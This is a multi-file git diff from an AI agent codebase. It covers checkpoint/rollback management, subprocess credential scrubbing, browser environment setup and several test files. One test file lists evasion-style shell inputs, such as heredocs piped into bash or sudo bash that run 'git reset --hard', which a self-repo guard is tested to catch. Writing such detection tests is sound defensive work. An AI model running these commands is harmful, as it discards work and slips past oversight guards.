-2611,33 +2618,33 @@@ class TestSystemdCgroupIsolationvalue.startswith("OOMPolicy=") for value in probe_argv if isinstance(value, str)), probe_argv+ def test_successful_systemd_probe_revalidates_after_cache_ttl(self, monkeypatch):+ """A vanished user bus invalidates a formerly successful scope verdict."""+ import tools.process_registry as pr++ monkeypatch.setattr(pr, "_IS_LINUX", True)+ monkeypatch.setattr(pr, "_SYSTEMD_SCOPE_AVAILABLE", None)+ monkeypatch.setattr(pr, "_SYSTEMD_SCOPE_PROBED_AT", 0.0)+ clock = [100.0]+ probe_results = [0, 1]+ probe_calls = []++ def fake_run(*args, **kwargs):+ probe_calls.append(args)+ return subprocess.CompletedProcess(+ args=args[0], returncode=probe_results.pop(0)+ )++ monkeypatch.setattr("shutil.which", lambda name: "/usr/bin/systemd-run")+ monkeypatch.setattr("tools.process_registry.time.monotonic", lambda: clock[0])+ monkeypatch.setattr("subprocess.run", fake_run)++ assert pr._systemd_run_user_scope_available() is True+ clock[0] += 61+ assert pr._systemd_run_user_scope_available() is False+ assert len(probe_calls) == 2+- @pytest.mark.linux_only+ @pytest.mark.platforms("linux")def test_systemd_probe_derives_owned_user_bus_env_for_system_gateway(self, registry, monkeypatch, request):diff --cc tests/tools/test_self_repo_guard.pyindex 1b0c5345543,d49ffd84a24..b7ac38c9cf1--- a/tests/tools/test_self_repo_guard.py+++ b/tests/tools/test_self_repo_guard.py@@@ -147,9 -147,48 +147,49 @@@ class TestBlocksMutationsInSourceRepohit, _ = _detect(command, repo, repo)assert hit is True+ @pytest.mark.parametrize(+ "command",+ [+ "cat <<'EOF' | bash\ngit checkout main\nEOF\n",+ "cat <<EOF | sudo bash -s\ngit reset --hard\nEOF\n",+ "cat <<'EOF' |& tee log | { echo; bash; }\ngit checkout main\nEOF\n",+ "cat <<'EOF' | (bash) # note\ngit checkout main\nEOF\n",+ # `|` at end of line: the body follows, the consumer comes after the terminator.+ "cat <<'EOF' |\ngit checkout main\nEOF\nbash\n",+ # Backslash-newline is removed before the shell reads the line.+ "cat <<'EOF' | \\\nbash\ngit checkout main\nEOF\n",+ "bash \\\n<<'EOF'\ngit checkout main\nEOF\n",+ "(cat <<'EOF'; echo) | bash\ngit checkout main\nEOF\n",+ ],+ )+ def test_heredoc_piped_to_bare_shell_is_executed(self, repo, command):+ """A heredoc body reaching a bare shell anywhere down its pipeline is a script+ (GitHub issue 112441): the guard scans it like a `bash <<EOF` body."""+ hit, _ = _detect(command, repo, repo)+ assert hit is True++ @pytest.mark.parametrize(+ ("command", "expected"),+ [+ # `2>&1` is an fd redirect, not a `&` list operator ending the pipeline before bash.+ ("cat <<'EOF' 2>&1 | bash\ngit checkout main\nEOF\n", True),+ ("cat <<'EOF' &>/dev/null | bash\ngit checkout main\nEOF\n", True),+ # The fd number of a redirect is not a script operand: bash is still bare.+ ("cat <<'EOF' | bash 2>/dev/null\ngit checkout main\nEOF\n", True),+ ("cat <<'EOF' | bash 2>&1\ngit checkout main\nEOF\n", True),+ ("cat <<'EOF' | bash >/dev/null\ngit checkout main\nEOF\n", True),+ # A real script operand keeps the body as data; a plain redirect is a file write.+ ("cat <<'EOF' | bash run.sh 2>/dev/null\ngit checkout main\nEOF\n", False),+ ("cat <<'EOF' > notes.md\ngit checkout main\nEOF\n", False),+ ],+ )+ def test_fd_redirects_around_heredoc_pipe(self, repo, command, expected):+ hit, _ = _detect(command, repo, repo)+ assert hit is expected+def test_tilde_dash_c_path(self, repo, monkeypatch, tmp_path):monkeypatch.setenv("HOME", str(repo.parent))+ monkeypatch.setenv("USERPROFILE", str(repo.parent))hit, _ = _detect("git -C ~/hermes-agent checkout main", tmp_path, repo)assert hit is Truediff --cc tests/tui_gateway/test_config_set_voice_chat_mode.pyindex 5dee8097db3,35b08c2844f..0619de58e75--- a/tests/tui_gateway/test_config_set_voice_chat_mode.py+++ b/tests/tui_gateway/test_config_set_voice_chat_mode.py@@@ -6,7 -6,7 +6,7 @@@ never lands on disk"""import pytest--import yaml++import hermes_yaml as yamlfrom tui_gateway import serverdiff --cc tests/tui_gateway/test_profiles_inherit_launch_model.pyindex 00000000000,0a6f9f8de56..85ca71acfb7mode 000000,100644..100644--- a/tests/tui_gateway/test_profiles_inherit_launch_model.py+++ b/tests/tui_gateway/test_profiles_inherit_launch_model.py@@@ -1,0 -1,31 +1,31 @@@+ """profiles.create inherits the launch profile's model together with the custom gateway backing it.++ ``_inherit_launch_model`` pins the launch ``model`` into the new profile through the same+ validated path as ``/api/model/set``, and that validation runs inside the new profile's home. A+ launch model on a custom ``providers:`` gateway is therefore only valid once the gateway+ definition is already in the profile — writing it after the pin never ran (#101885 / #94071).+ """++ from __future__ import annotations+-import yaml++import hermes_yaml as yaml++ import tui_gateway.server as srv+++ def test_inherit_launch_model_carries_a_custom_provider_gateway(monkeypatch, tmp_path):+ home = tmp_path / ".hermes"+ home.mkdir()+ monkeypatch.setenv("HERMES_HOME", str(home))+ (home / "config.yaml").write_text(+ "model:\n provider: my-gateway\n default: my-finetune\n"+ "providers:\n my-gateway:\n api: https://llm.internal.example.com/v1\n key_env: GW_KEY\n"+ " unrelated:\n api: https://other.example.com/v1\n")+ profile = home / "profiles" / "scout"+ profile.mkdir(parents=True)++ assert srv._inherit_launch_model(profile) is True++ cfg = yaml.safe_load((profile / "config.yaml").read_text())+ assert (cfg["model"]["provider"], cfg["model"]["default"]) == ("my-gateway", "my-finetune")+ assert set(cfg["providers"]) == {"my-gateway"}diff --cc tests/website/test_fetch_plugin_stars.pyindex 00000000000,b0d11344940..6707dfcf8b3mode 000000,100644..100644--- a/tests/website/test_fetch_plugin_stars.py+++ b/tests/website/test_fetch_plugin_stars.py@@@ -1,0 -1,80 +1,80 @@@+ """fetch-plugin-stars.py: plugin-catalog star counts, GitHub consulted only from the scheduled run.++ The contract under test is rate-limit discipline, not the numbers: a deploy (no ``--probe``)+ must never reach GitHub, the scheduled probe must be ONE request for every repo, and a failed+ probe must keep the previous counts rather than zeroing them.+ """++ from __future__ import annotations++ import importlib.util+ import json+ import urllib.error+ from pathlib import Path++ import pytest++ REPO_ROOT = Path(__file__).resolve().parents[2]+ SCRIPT = REPO_ROOT / "website" / "scripts" / "fetch-plugin-stars.py"+++ @pytest.fixture(scope="module")+ def mod():+ spec = importlib.util.spec_from_file_location("fetch_plugin_stars", SCRIPT)+ module = importlib.util.module_from_spec(spec)+ spec.loader.exec_module(module)+ return module+++ def _catalog(tmp_path: Path, *repos: str) -> Path:- import yaml++ import hermes_yaml as yaml++ cat = tmp_path / "plugin-catalog"+ cat.mkdir()+ for i, repo in enumerate(repos):+ (cat / f"p{i}.yaml").write_text(yaml.safe_dump({+ "name": f"p{i}", "repo": repo, "sha": "38fe0fb53eff98d477f807432e965429e665ca33",+ "description": "d", "maintainer": "m"}), encoding="utf-8")+ return cat+++ def test_deploy_reuses_the_cache_without_any_github_call(mod, tmp_path, monkeypatch):+ cat = _catalog(tmp_path, "https://github.com/a/one")+ out = tmp_path / "plugin-stars.json"+ out.write_text(json.dumps({"fetched_at": "2026-01-01T00:00:00+00:00", "stars": {"a/one": 7}}), encoding="utf-8")++ def boom(*a, **k):+ raise AssertionError("GitHub must not be called without --probe")+ monkeypatch.setattr(mod, "_graphql", boom)+ monkeypatch.setattr(mod, "_http_json", boom)++ assert mod.main(catalog_dir=cat, output=out, probe=False, live_url=None) == 0+ assert json.loads(out.read_text())["stars"] == {"a/one": 7}+++ def test_probe_is_one_graphql_request_and_a_failure_keeps_previous_counts(mod, tmp_path, monkeypatch):+ cat = _catalog(tmp_path, "https://github.com/a/one", "https://github.com/b/two", "https://gitlab.com/c/three")+ out = tmp_path / "plugin-stars.json"+ out.write_text(json.dumps({"fetched_at": "2026-01-01T00:00:00+00:00", "stars": {"a/one": 7, "b/two": 9}}),+ encoding="utf-8")+ calls: list[str] = []++ def one_request(query, token):+ calls.append(query)+ # b/two errored (renamed repo): its node is null, previous count must survive.+ return {"data": {"r0": {"stargazerCount": 42}, "r1": None},+ "errors": [{"message": "Could not resolve to a Repository"}]}+ monkeypatch.setattr(mod, "_graphql", one_request)++ assert mod.main(catalog_dir=cat, output=out, probe=True, live_url=None, token="t") == 0+ data = json.loads(out.read_text())+ assert data["stars"] == {"a/one": 42, "b/two": 9}+ assert len(calls) == 1 and "gitlab" not in calls[0] and 'owner: "a"' in calls[0] and 'owner: "b"' in calls[0]+ assert data["fetched_at"] > "2026-01-01"++ # A rate-limited / failed probe keeps everything as it was.+ def limited(query, token):+ raise urllib.error.HTTPError("u", 403, "rate limited", hdrs=None, fp=None)+ monkeypatch.setattr(mod, "_graphql", limited)+ assert mod.main(catalog_dir=cat, output=out, probe=True, live_url=None, token="t") == 0+ assert json.loads(out.read_text())["stars"] == {"a/one": 42, "b/two": 9}diff --cc tools/bot_mode_dm.pyindex d5f896df761,e274064409c..18b42157304--- a/tools/bot_mode_dm.py+++ b/tools/bot_mode_dm.py@@@ -368,9 -406,9 +406,9 @@@ def _run_local_turn(argv: list[str], dmsame session; a context_overflow re-run lets the retried turn's pre-API compactioncompact the transcript first (no fresh session is ever minted). Auth/quota/config never retry."""- def _turn():+ def _turn(turn_env=env):return subprocess.run([*argv, "--query-file", dm_file], check=False, stdin=subprocess.DEVNULL,- capture_output=True, text=True, encoding="utf-8", env=env)- capture_output=True, text=True, env=turn_env)++ capture_output=True, text=True, encoding="utf-8", env=turn_env)proc = _turn()if proc.returncode != 0:diff --cc tools/browser_tool.pyindex 7d972dae03e,16c40486001..0dd598a2958--- a/tools/browser_tool.py+++ b/tools/browser_tool.py@@@ -35,19 -35,29 +35,34 @@@ _BROWSER_PASSTHROUGH_KEYS: tuple[str, .)+def warm_agent_browser_npx_cache(timeout: float = 60.0) -> bool:+ # Shim to stop the old updater doing work until relaunch. Nothing was warmed.+ return False++def _build_browser_env() -> dict:"""Credential-scrubbed env for an agent-browser subprocess (deferred import: test- harnesses stub the ``tools`` package)."""- from tools.environments.local import hermes_subprocess_env-- env = hermes_subprocess_env(inherit_credentials=False)- env.update({k: os.environ[k] for k in _BROWSER_PASSTHROUGH_KEYS if k in os.environ})- return env+ harnesses stub the ``tools`` package). The passthrough keys are re-added from the active+ profile's secret scope, never ``os.environ``: under multiplex that holds the LAUNCH profile's+ Browserbase/Firecrawl keys, and a served profile's browser must run on its own (or none)."""+ from agent.secret_scope import current_secret_scope, get_secret, serves_routed_profile+ from tools.environments.local import served_profile_child_env++ from agent.proxy_bypass import add_loopback_no_proxy++ env = served_profile_child_env(inherit_credentials=False)+ # A routed profile (multiplex, or a Desktop/dashboard backend serving ``?profile=B`` with the+ # flag off) resolves from its bound scope only — a miss is "no key", never the launch profile's+ # ``os.environ`` value that ``get_secret`` falls through to while multiplexing is inactive.+ routed = serves_routed_profile()+ scope = (current_secret_scope() or {}) if routed else None+ for key in _BROWSER_PASSTHROUGH_KEYS:+ value = scope.get(key) if routed else get_secret(key)+ if value is not None:+ env[key] = value+ # The Browser Use harness dials the resolved local CDP URL over ``websockets``; without a+ # loopback NO_PROXY a macOS system proxy captures that dial (#110565).+ return add_loopback_no_proxy(env)try:diff --cc tools/checkpoint_manager.pyindex 09d0ed36329,2875148b2d2..7b15054ba09--- a/tools/checkpoint_manager.py+++ b/tools/checkpoint_manager.py@@@ -779,13 -620,8 +779,12 @@@ class CheckpointManagerdigest = _hash_file(path)if digest is None:return- store, dir_hash = _store_path(), self._ledger_key(str(path))- _save_ledger(store, dir_hash, {**_load_ledger(store, dir_hash), str(path): {"sha256": digest, "ts": time.time()}})+ with store_lock(_resolve_checkpoint_base()):- working_dir = self.get_working_dir_for_path(str(path))+ store = _store_path()- dir_hash = _project_hash(working_dir)++ dir_hash = self._ledger_key(str(path))+ ledger = _load_ledger(store, dir_hash)+ ledger[str(path)] = {"sha256": digest, "ts": time.time()}+ _save_ledger(store, dir_hash, ledger)except Exception as exc:logger.debug("record_agent_write failed for %s: %s", file_path, exc)@@@ -823,62 -637,39 +822,63 @@@if not ok:return {"success": False, "error": f"Could not compute changed files: {err}"}- ledger = _load_ledger(store, dir_hash)- # p.dir_hash is the exact restore dir; the ledger was written under the walked key. Reading- # the wrong key looked like "no ledger" and degraded to a full restore over user edits.- ledger = _load_ledger(p.store, self._ledger_key(p.abs_dir))++ # Read the same marker-walked project key as record_agent_write.++ ledger = _load_ledger(store, self._ledger_key(abs_dir))if not ledger:- return {"success": True, "restore": [], "skipped": [], "ledger_empty": True}- out: Dict[str, List[str]] = {"restore": [], "skipped": []}+ # No agent-write ledger yet (pre-existing store, or Hermes has+ # not written any files here since the ledger was introduced).+ # Signal callers to fall back to a full restore rather than+ # skipping every file.+ return {"success": True, "restore": [], "skipped": [],+ "ledger_empty": True}+ restore: List[str] = []+ skipped: List[str] = []for rel in filter(None, names_out.split("\x00")):- abs_path = Path(p.abs_dir) / rel+ abs_path = Path(abs_dir) / relentry = ledger.get(str(abs_path))recorded = entry.get("sha256") if isinstance(entry, dict) else None- hermes_authored = recorded is not None and _hash_file(abs_path) in (None, recorded)- out["restore" if hermes_authored else "skipped"].append(rel)- return {"success": True, **out}+ if recorded is None:+ # Hermes never wrote this file (or the ledger predates it) —+ # do not touch it in safe mode.+ skipped.append(rel)+ continue+ current = _hash_file(abs_path)+ if current is None:+ # File deleted since Hermes wrote it: restoring it back is+ # safe — its last content was Hermes-authored.+ restore.append(rel)+ elif current == recorded:+ restore.append(rel)+ else:+ skipped.append(rel)+ return {"success": True, "restore": restore, "skipped": skipped}def ensure_checkpoint(self, working_dir: str, reason: str = "auto") -> bool:- """Take a checkpoint if enabled and not already done this turn. Never raises."""+ """Take a checkpoint if enabled and not already done this turn.++ Returns True if a checkpoint was taken, False otherwise.+ Never raises — all errors are silently logged.+ """if not self.enabled:return False- if self._git_available is None:- self._git_available = shutil.which("git") is not None- if not self._git_available:- logger.debug("Checkpoints disabled: git not found")- if not self._git_available:- return False+abs_dir = str(_normalize_path(working_dir))- if abs_dir in {"/", str(Path.home())}: # never snapshot root/home++ # Skip root, home, and other overly broad directories+ if abs_dir in {"/", str(Path.home())}:logger.debug("Checkpoint skipped: directory too broad (%s)", abs_dir)return False+if abs_dir in self._checkpointed_dirs:return False+self._checkpointed_dirs.add(abs_dir)+try:- return self._take(abs_dir, reason)+ from tools.checkpoint_pruning import store_lock++ with store_lock(_resolve_checkpoint_base()):+ return self._take(abs_dir, reason)except Exception as e:logger.debug("Checkpoint failed (non-fatal): %s", e)return False@@@ -1162,103 -817,34 +1162,107 @@@if target.is_file() or target.is_symlink():target.unlink()except OSError as exc:- logger.warning("Safe restore: could not remove %s: %s", rel, exc)- targets.failed_deletes.append(rel)- return targets+ logger.warning(+ "Safe restore: could not remove %s: %s", rel, exc,+ )+ failed_deletes.append(rel)+ if not checkout_targets:+ ok, stdout, err = True, "", ""+ else:+ ok, stdout, err = _run_git(+ ["checkout", commit_hash, "--", *checkout_targets],+ store, abs_dir, timeout=_GIT_TIMEOUT * 2,+ index_file=index_file,+ )+ else:+ ok, stdout, err = _run_git(+ ["checkout", commit_hash, "--", file_path if file_path else "."],+ store, abs_dir, timeout=_GIT_TIMEOUT * 2,+ index_file=index_file,+ )++ if not ok:+ return {"success": False, "error": f"Restore failed: {err}",+ "debug": err or None}++ ok2, reason_out, _ = _run_git(+ ["log", "--format=%s", "-1", commit_hash], store, abs_dir,+ )+ reason = reason_out if ok2 else "unknown"++ result = {+ "success": True,+ "restored_to": commit_hash[:8],+ "reason": reason,+ "directory": abs_dir,+ }+ if file_path:+ result["file"] = file_path+ if restore_paths is not None:+ # Only what was actually acted on. A kept oversize path was not+ # restored (and a failed unlink left the file in place), and+ # reporting either as restored is how the data loss above stayed+ # silent: the user was told "Restored" for a file that had just+ # been unlinked.+ not_restored = set(kept_oversize) | set(failed_deletes)+ result["restored_files"] = [+ rel for rel in restore_paths if rel not in not_restored+ ]+ result["skipped_user_edits"] = skipped_user_edits+ result["skipped_oversize"] = kept_oversize+ if failed_deletes:+ result["failed_deletes"] = failed_deletes+ # The selected tree was needed until checkout completed. Only now may+ # the safety snapshot's count/size budget make that tree unreachable.+ self._prune(store, abs_dir, _ref_name(dir_hash))+ return result+ def _ledger_key(self, path: str) -> str:+ """Agent-write ledger key: hash of the marker-walked project dir, for writer and reader alike."""+ return _project_hash(self.get_working_dir_for_path(path))+def get_working_dir_for_path(self, file_path: str) -> str:- """Resolve a file path to its working directory (nearest project-marker ancestor)."""+ """Resolve a file path to its working directory for checkpointing."""path = _normalize_path(file_path)- candidate = path if path.is_dir() else path.parent+ if path.is_dir():+ candidate = path+ else:+ candidate = path.parent++ # An explicitly checkpointed root owns its ledger even when an+ # ancestor carries a project marker. Prefer the nearest owner.+ roots = [Path(meta["workdir"]) for meta in _list_projects(_store_path()) if meta.get("workdir")]+ owners = [root for root in roots if candidate.is_relative_to(root)]+ if owners:+ return str(max(owners, key=lambda root: len(root.parts)))+ markers = {".git", "pyproject.toml", "package.json", "Cargo.toml",+ "go.mod", "Makefile", "pom.xml", ".hg", "Gemfile"}+ home = Path.home().resolve()+ broad = {home, *home.parents}check = candidate- while check != check.parent:- if any((check / m).exists() for m in _PROJECT_MARKERS):+ while check != check.parent and check not in broad:+ if any((check / m).exists() for m in markers):return str(check)check = check.parent+return str(candidate)- # --- internal ---+ # ------------------------------------------------------------------+ # Internal+ # ------------------------------------------------------------------- def _take(self, working_dir: str, reason: str) -> bool:+ def _take(self, working_dir: str, reason: str, *, prune: bool = True) -> bool:"""Take a snapshot. Returns True on success."""- p = _project_refs(working_dir)- err = _init_store(p.store, working_dir)+ store = _store_path()++ err = _init_store(store, working_dir)if err:- return _step_failed("store init", err)- _touch_project(p.store, working_dir)+ logger.debug("Checkpoint store init failed: %s", err)+ return False++ _touch_project(store, working_dir)++ # Quick size guard — don't try to snapshot enormous directoriesif _dir_file_count(working_dir) > _MAX_FILES:logger.debug("Checkpoint skipped: >%d files in %s", _MAX_FILES, working_dir)return False@@@ -1832,51 -1125,27 +1836,42 @@@ def _prune_checkpointsreturn result-def maybe_auto_prune_checkpoints(retention_days: int = 7, min_interval_hours: int = 24, delete_orphans: bool = True,- checkpoint_base: Optional[Path] = None, max_total_size_mb: int = 0) -> Dict[str, object]:- """Idempotent wrapper around ``prune_checkpoints`` for startup hooks: writes- ``CHECKPOINT_BASE/.last_prune`` so calls within ``min_interval_hours`` short-circuit.- Returns ``{"skipped": bool, "result": prune dict, "error": optional str}``."""+def maybe_auto_prune_checkpoints(+ retention_days: int = 7,+ min_interval_hours: int = 24,+ delete_orphans: bool = True,+ checkpoint_base: Optional[Path] = None,+ max_total_size_mb: int = 0,+) -> Dict[str, object]:+ """Idempotent wrapper around ``prune_checkpoints`` for startup hooks.++ Writes ``CHECKPOINT_BASE/.last_prune`` on completion so subsequent+ calls within ``min_interval_hours`` short-circuit.++ Returns ``{"skipped": bool, "result": prune_checkpoints-dict,+ "error": optional str}``.+ """base = checkpoint_base or _resolve_checkpoint_base()out: Dict[str, object] = {"skipped": False}+try:if not base.exists():- out["result"] = _empty_prune_result()+ out["result"] = {+ "scanned": 0, "deleted_orphan": 0, "deleted_stale": 0,+ "errors": 0, "bytes_freed": 0,+ }return out+marker = base / _PRUNE_MARKER_NAMEnow = time.time()- if marker.exists():- try:- last_ts = float(marker.read_text(encoding="utf-8-sig").strip())- if now - last_ts < min_interval_hours * 3600:- out["skipped"] = True- return out- except (OSError, ValueError):- pass # corrupt marker — treat as no prior run-- result = prune_checkpoints(- retention_days=retention_days,- delete_orphans=delete_orphans,- checkpoint_base=base,- max_total_size_mb=max_total_size_mb,- )- out["result"] = result-+ try:- if marker.exists() and now - float(marker.read_text(encoding="utf-8").strip()) < min_interval_hours * 3600:++ if marker.exists() and now - float(marker.read_text(encoding="utf-8-sig").strip()) < min_interval_hours * 3600:+ out["skipped"] = True+ return out+ except (OSError, ValueError):+ pass # corrupt marker — treat as no prior run+ # Claim the interval before pruning: callers run on a periodic tick, and a prune that+ # dies mid-way must cost one skipped day, not a git gc every tick.try:marker.write_text(str(now), encoding="utf-8")except OSError as exc:@@@ -1899,35 -1164,61 +1896,81 @@@return out+ def auto_prune_from_config() -> Dict[str, object]:+ """``maybe_auto_prune_checkpoints`` driven by the ``checkpoints:`` config section — the one+ startup/housekeeping entry point for the CLI and the gateway. ``delete_orphans`` is never+ honoured unattended: a missing workdir is ambiguous (deleted vs. unmounted share); orphan+ cleanup is only via explicit ``hermes checkpoints prune``. Never raises."""+ try:+ from hermes_cli.config import load_config+ cfg = load_config().get("checkpoints") or {}+ if not cfg.get("auto_prune", False):+ return {"skipped": True}+ return maybe_auto_prune_checkpoints(+ retention_days=int(cfg.get("retention_days", 7)),+ min_interval_hours=int(cfg.get("min_interval_hours", 24)),+ delete_orphans=False,+ max_total_size_mb=int(cfg.get("max_total_size_mb", 500)))+ except Exception as exc:+ logger.debug("checkpoint auto-maintenance skipped: %s", exc)+ return {"skipped": True, "error": str(exc)}+++ def checkpoint_footprint_notice() -> Optional[str]:+ """One-line notice when ``/rollback`` checkpoints are on and their store sits at or above+ ``checkpoints.max_total_size_mb``, else None. Checkpoints were on by default for a while+ (Mar–May 2026) and that ``enabled: true`` persisted into user configs; many users carry a+ GB-scale store for a feature they never invoke. The cap is a floor of one snapshot per+ project, so a big store is expected, not broken — the notice names the opt-out. Never raises."""+ try:+ from hermes_cli.config import load_config+ cfg = load_config().get("checkpoints") or {}+ if not cfg.get("enabled", False):+ return None+ cap_mb = int(cfg.get("max_total_size_mb", 500) or 0)+ status = store_status()+ size = int(status["total_size_bytes"])- if cap_mb <= 0 or size < cap_mb * _MB:++ if cap_mb <= 0 or size < cap_mb * 1024 * 1024:+ return None+ from hermes_cli.sizefmt import format_bytes+ return (f"Filesystem checkpoints (/rollback) are on: {format_bytes(size)} across "+ f"{status['project_count']} project(s), above the {cap_mb} MB cap (one snapshot per project is "+ f"always kept). Not using /rollback? `hermes config set checkpoints.enabled false` then "+ f"`hermes checkpoints clear`; or lower `checkpoints.retention_days`.")+ except Exception as exc:+ logger.debug("checkpoint footprint notice skipped: %s", exc)+ return None+++# ---------------------------------------------------------------------------+# Public helpers for `hermes checkpoints` CLI+# ---------------------------------------------------------------------------+def store_status(checkpoint_base: Optional[Path] = None) -> Dict:- """Summarise the shadow store: ``{"base", "store_size_bytes", "legacy_size_bytes",- "total_size_bytes", "project_count", "projects", "pre_v2_projects", "legacy_archives"}``.- ``pre_v2_projects`` are repos still on the pre-v2 layout, distinct from the migrated- ``legacy_archives``; an orphan-deletion preview must include both ``projects`` and- ``pre_v2_projects`` since ``prune_checkpoints`` sweeps both."""+ """Return a summary of the shadow store.++ ``{"base": path, "store_size_bytes": N, "legacy_size_bytes": N,+ "total_size_bytes": N, "project_count": N, "projects": [...],+ "pre_v2_projects": [...], "legacy_archives": [...]}``++ ``pre_v2_projects`` covers shadow repos still on the pre-v2 per-project+ layout (``base/<hash>/HEAD``) — distinct from ``legacy_archives``, which+ are already-migrated ``legacy-<ts>/`` dirs. Callers that preview an+ orphan-deletion sweep must include both ``projects`` and+ ``pre_v2_projects``, since ``prune_checkpoints`` deletes orphans from+ both layouts.+ """base = checkpoint_base or _resolve_checkpoint_base()- out: Dict = {"base": str(base), "store_size_bytes": 0, "legacy_size_bytes": 0, "total_size_bytes": 0,- "project_count": 0, "projects": [], "pre_v2_projects": [], "legacy_archives": []}+ out: Dict = {+ "base": str(base),+ "store_size_bytes": 0,+ "legacy_size_bytes": 0,+ "total_size_bytes": 0,+ "project_count": 0,+ "projects": [],+ "pre_v2_projects": [],+ "legacy_archives": [],+ }if not base.exists():return out@@@ -2016,28 -1260,11 +2059,25 @@@ def clear_all(checkpoint_base: Optionaldef clear_legacy(checkpoint_base: Optional[Path] = None) -> Dict[str, int]:- """Delete all ``legacy-*`` archive directories.-- Returns ``{"bytes_freed": N, "deleted": count}``.- """+ """Delete all ``legacy-*`` archive directories and report any failures."""base = checkpoint_base or _resolve_checkpoint_base()- out = {"bytes_freed": 0, "deleted": 0}+ out = {"bytes_freed": 0, "deleted": 0, "errors": 0}if not base.exists():return out- for child in _legacy_archives(base):- _rmtree_counted(child, out, "deleted", "Could not delete legacy archive %s: %s", child)+ from tools.checkpoint_pruning import store_lock++ try:+ with store_lock(base):+ for child in list(base.iterdir()):+ if not child.is_dir() or not child.name.startswith(_LEGACY_PREFIX):+ continue+ try:+ size = _dir_size_bytes(child)+ _rmtree_force(child)+ out["bytes_freed"] += size+ out["deleted"] += 1+ except OSError as exc:+ logger.warning("Could not delete legacy archive %s: %s", child, exc)+ except (OSError, RuntimeError) as exc:+ logger.warning("Could not clear legacy archives: %s", exc)return outdiff --cc tools/daemon_pool.pyindex f3acc7bdd4d,6e1cf88f88f..7fbdc4ea97d--- a/tools/daemon_pool.py+++ b/tools/daemon_pool.py@@@ -46,9 -46,27 +46,25 @@@ class DaemonThreadPoolExecutor(ThreadPonum_threads = len(self._threads)if num_threads < self._max_workers:thread_name = "%s_%d" % (self._thread_name_prefix or self, num_threads)+ executor_ref = weakref.ref(self, weakref_cb)+ if hasattr(self, "_create_worker_context"):+ # Python 3.14 replaced _initializer/_initargs with a factory+ # that supplies the worker's initializer context.+ worker_args = (+ executor_ref,+ self._create_worker_context(),+ self._work_queue,+ )+ else:+ worker_args = (+ executor_ref,+ self._work_queue,+ self._initializer,+ self._initargs,+ )- # Carry the active profile into the review thread so MEMORY.md / skill review writes land in the- # right profile (#54937).t = threading.Thread(name=thread_name, target=_worker, daemon=True,- args=(weakref.ref(self, weakref_cb), self._create_worker_context(), self._work_queue),+ args=worker_args,)t.start()self._threads.add(t)diff --cc tools/environments/local.pyindex 00163f3ae10,6a826376165..4a85891566a--- a/tools/environments/local.py+++ b/tools/environments/local.py@@@ -299,45 -299,20 +299,52 @@@ def _sanitize_subprocess_env(base_env:_plugin_terminal_env_strip_keys(), lambda p: p)-def hermes_subprocess_env(*, inherit_credentials: bool = False) -> dict[str, str]:- """Sanitized env for the **non-terminal** spawn surface (browser, ACP/CLI executors,- computer-use driver, TUI Node host). Tier 1 (``_ALWAYS_STRIP_KEYS``, plugin keys,- force-prefixed hints, dynamic internal secrets) is always removed; Tier 2 (the- provider/tool blocklist) unless ``inherit_credentials`` — pass that **only** for- children that legitimately need LLM credentials (user-blessed claude/codex/gemini- CLI, TUI Node host). Terminal/execute_code use ``_sanitize_subprocess_env``."""- env = _scrub_credentials(os.environ.copy(), inherit_credentials=inherit_credentials)+def hermes_subprocess_env(+ *, inherit_credentials: bool = False, base_env: dict[str, str] | None = None+) -> dict[str, str]:+ """Build a sanitized environment dict for a spawned subprocess.++ Centralized helper for the **non-terminal** spawn surface (browser,+ ACP/CLI executors, computer-use driver, dep-ensure, TUI Node host,+ detached gateway). Use this instead of copying ``os.environ`` directly+ so strip-by-default is the uniform policy across every spawn site, with a+ single source of truth (``_HERMES_PROVIDER_ENV_BLOCKLIST``). The terminal+ / execute_code path keeps using :func:`_sanitize_subprocess_env`, which is+ skill-aware (``env_passthrough``); this helper is for spawns that have no+ skill-passthrough concept.++ Two-tier stripping:++ * **Tier 1 (always):** ``_ALWAYS_STRIP_KEYS`` — gateway bot tokens, GitHub+ auth, and remote-compute secrets are removed regardless of+ ``inherit_credentials``. No child Hermes spawns legitimately needs them.+ * **Tier 2 (conditional):** the rest of ``_HERMES_PROVIDER_ENV_BLOCKLIST``+ (LLM provider API keys, tool secrets) is removed unless the caller passes+ ``inherit_credentials=True``.++ Pass ``inherit_credentials=True`` **only** when the child legitimately+ needs LLM provider credentials — a user-blessed ``claude`` / ``codex`` /+ ``gemini`` CLI executor, or the TUI Node host that makes model calls. The+ flag is grep-able for audit: ``grep -rn 'inherit_credentials=True'`` lists+ every spawn site that still receives provider credentials.++ Callers that need a *specific* non-provider secret (e.g. the browser worker+ needs ``BROWSERBASE_API_KEY`` / ``FIRECRAWL_API_KEY``) should call with+ ``inherit_credentials=False`` and copy just those keys back from+ ``os.environ`` into the returned dict.++ ``base_env`` swaps the starting environment (default ``os.environ``) —+ for callers that already hold a curated env (pm's sanitized uv env) and+ want the strip policy applied on top of it.+ """+ env = dict(base_env) if base_env is not None else os.environ.copy()++ env = _scrub_credentials(env, inherit_credentials=inherit_credentials)+ env.setdefault("PYTHONUTF8", "1") # Windows UTF-8 safety for spawned processes+ return _finalize_child_env(env)+++ def _scrub_credentials(env: dict, *, inherit_credentials: bool) -> dict:+ """Tier 1 (always) and, unless ``inherit_credentials``, Tier 2 provider/tool credentials, in place."""strip = _ALWAYS_STRIP_KEYS | _plugin_terminal_env_strip_keys()if not inherit_credentials:strip |= _HERMES_PROVIDER_ENV_BLOCKLISTdiff --cc tools/skill_manager_tool.pyindex 8ca577d55b0,05829ec93d5..0d005e50e5b--- a/tools/skill_manager_tool.py+++ b/tools/skill_manager_tool.py@@@ -338,8 -363,9 +363,9 @@@ def _guarded_write(name: str, skill_dirif target.exists():if read_guard := _background_review_read_before_write_guard(name, target, action, label):return read_guard- original = target.read_text(encoding="utf-8")+ original = target.read_text(encoding="utf-8-sig")- target.parent.mkdir(parents=True, exist_ok=True)+ from hermes_constants import mkdir_under_hermes_home+ mkdir_under_hermes_home(target.parent)atomic_write_text(target, content, preserve_mode=True, create_mode=0o644)scan_error = _security_scan_skill(skill_dir)if not scan_error:diff --cc tools/terminal_tool_backends.pyindex fbe7af774e2,0ee50256893..42273f5b1c5--- a/tools/terminal_tool_backends.py+++ b/tools/terminal_tool_backends.py@@@ -229,16 -258,13 +258,14 @@@ def _check_vercel(config: Dict[str, Anyruntime = (config.get("vercel_runtime") or "").strip()disk = config.get("container_disk", 51200)if not _is_supported_vercel_runtime(runtime):- logger.error("Vercel Sandbox runtime %r is not supported. Set TERMINAL_VERCEL_RUNTIME to 